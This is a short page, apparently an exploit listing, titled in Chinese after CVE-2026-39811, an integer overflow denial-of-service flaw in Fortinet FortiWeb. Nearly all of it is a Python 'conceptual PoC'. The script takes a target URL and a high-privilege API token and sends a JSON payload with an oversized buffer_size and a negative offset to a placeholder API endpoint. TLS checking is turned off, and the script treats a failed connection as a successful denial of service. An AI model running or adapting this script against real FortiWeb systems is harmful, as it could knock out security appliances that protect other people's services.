CVE-2026-39811 Fortinet FortiWeb 整数溢出致拒绝服务漏洞

#!/usr/bin/env python3 """ Conceptual PoC for Integer Overflow in FortiWeb (CVE-2026-39811) Note: This is a generic example demonstrating the payload structure. Actual exploitation requires valid high-privileged credentials. """ import requests import sys target = sys.argv[1] token = sys.argv[2] # High-privilege API token url = f"{target}/api/vulnerable_module" headers = {"Authorization": f"Bearer {token}"} # Payload designed to trigger integer wraparound payload = { "buffer_size": 2147483648, # 2^31, may cause overflow on signed 32-bit int "offset": -1 } try: r = requests.post(url, json=payload, headers=headers, verify=False, timeout=5) print(f"Request sent. Status: {r.status_code}") except requests.exceptions.RequestException as e: print(f"Service appears unresponsive (DoS likely triggered): {e}")